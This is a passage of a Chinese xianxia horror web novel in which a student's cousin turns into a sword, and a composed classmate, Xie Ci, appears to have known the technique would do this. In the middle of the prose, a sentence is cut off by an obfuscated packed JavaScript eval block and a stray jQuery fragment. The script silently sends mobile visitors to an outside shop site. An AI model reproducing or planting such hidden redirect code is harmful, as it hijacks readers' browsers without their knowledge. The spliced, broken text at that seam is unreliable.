什么意思?王景焕愣了愣。
联想到方才学堂老师的话语,他的心跳骤然加快。
两位正统昆仑子手中剑被评为乱七八糟的敷衍,那么真正的昆仑剑是什么?一片浆糊的心绪中,思路仍在毫无头绪的乱转,可极为不妙的预感混杂在恐惧的泡沫中,缓缓上浮。
身后是堂弟嘀嘀咕咕的抱怨声,谢辞的声音很轻,没有被堂弟听到,他却听闻后座人说自己的心法已运转至三周天,剑意即将凝出……
什么样的心法,只需三周天便能凝出剑意?
“停下!”
顾不得许多,王景焕回身,头还未转回去,手已经探出,要阻下堂弟运转的灵力。
啪嗒。
手触到了什么东西,一开始像是人的皮肤,他还摸到了张合的湿润嘴唇,他在笑,轻柔的发丝触到他手腕上,而后那些有纹理的肌肤渐渐变成冷硬的金属质感,唇齿逐渐在他手下变换了模样——
很难说清那是一种怎样的转变,像是皮肤血肉都被一种奇异的力量旋绕扭转,有那么一瞬间,他感到堂弟温热的血液,粘稠的血肉器官,坚硬的骨头,等等等等都在他掌下翻腾,而后收缩,坍塌,尽皆幻化成另一副样子。
惯性让他的手继续向下探去,于是他握住它——一把冰冷坚硬的剑柄。
噗通。恐惧的泡沫碎掉的声音。
他终于扭过头去,看到自己的后座上,原先堂弟所在的位置中,直直矗立着一把剑。
长剑有半人高,刚硬修长,通体呈淡淡的红色,没有剑鞘,距离剑柄最近的剑身上,烙着一个小小的昆仑标。
王景焕张了张嘴,他不知道自己有没有发出声音,但他听到了旁人的尖叫声。
坐在堂弟旁边的少女霎时弹跳起来,颤抖着扶住后座木桌,许多人的木椅都被主人带着向远处移动,发出刺耳的刺啦声,低低的惊呼交杂着骤然爆发的讨论声轰然响彻学堂。
堂前,脑袋上只剩下一副口腔的老师咧嘴笑了笑。
第一把昆仑剑,修成了。
王景焕不清楚自己是怎么放开那把剑的,他与堂弟虽然不熟,但好歹也是一族亲戚,逢年过节也会互相拜访,方才他戳他后背时讨好的笑和狡猾的眸仍历历在目,眼下便以这般诡异的死法死在自己面前,他的脑袋都在轰轰作响。
下意识的,他去看自己的同桌。
那少年侧身支着脑袋,也在看他,或者说,是在看他与那把剑,目光轻轻的,像是一层轻纱笼在一人一剑的上空,见他望来,那黢黑的瞳孔才动了动,视线凝结,与他对视。
俊美的面孔上没什么表情,平静得好似眼前只是一捧雪被日光融成了一滩浑浊的积水。
谢辞歪了歪头。
他眨着眼睛,不太明白王家的小公子为何一脸惊恐的看着自己,他这么想,于是王景焕自他的面容中读出一丝困惑。
寒意涌上心头,几乎要冻住四肢百骸。
他直直盯着与自己仅仅相隔一寸的少年郎,好像是盯了很久,又好像只有一瞬,因为他其实不敢直视那双瞳眸,但移开目光后,那人像是冰冷的无机物般的瞳孔依旧映在他的虹膜上,其中隐隐渗出的血色几乎要刺痛他的眼眸。
倘若修炼了学堂老师教授的心法,人会变成剑,真正的昆仑剑——这个人,早就知道了这个规则吗?
并且在已知那人是他堂弟的情况下,还若无其事地问他要不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12892170|136135||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
要以此为剑?
他的牙关在颤抖,自己都未曾发觉,木椅向外偏移,最终因为青年踉跄的起身而摔倒在地。
……啧,被吓跑了。谢辞眯起眼,视线从一脸惊恐地向后退去的青年上掠过,无趣地偏过头。
这王氏公子看起来与他的堂弟并不相熟,利用一下尸身又有何妨?这把昆仑剑就位于他后座,探手可得的距离,拿到剑而后杀一人便可离开,如此好的机会,可谓是上天眷顾。
他不过是好心提醒,这人倒好,表现得像他是个无情的冷血怪物。
况且若是真到了生死之局,他不信他还会如此抗拒。
谢辞颇有些意兴阑珊,微阖上眼睛。
眼中又有隐隐的鲜血滴下,他用灵力将它们抹去,乌黑长睫沾上星点淡淡的红,他俯瞰自己的识海,浩瀚如星空,先前肉身自爆后留下的创伤还在,其中静静浮着一把长刀,长刀旁边,一具人类的身体若隐若现。
那具身躯形同幻影,衣物和皮肉皆呈现透明的色泽,一眼望去,只有浑身经脉清晰异常。
这副经脉中,静静流转着学堂老师传授的心法,那套一旦运转三周天,便以身化剑的心法。
此时,那具躯体的经脉中,心法已然运转了二周天。
身侧传来动静,谢辞睁开眼,有庞大的阴影笼罩在他头顶,那顶着一副口腔的老师不知何时停在他面前,分明不存在眼睛,却有宛若实质的目光凝视着他。
“你,和你,”他点了点谢辞,又随意指了另外一人,“上台来吧。”
老师披着一袭青衫的身躯就站在他桌前,谢辞抬眸,眼前人并不健壮的身体与识海中运转着心法的身躯在某一瞬间,相互交叠。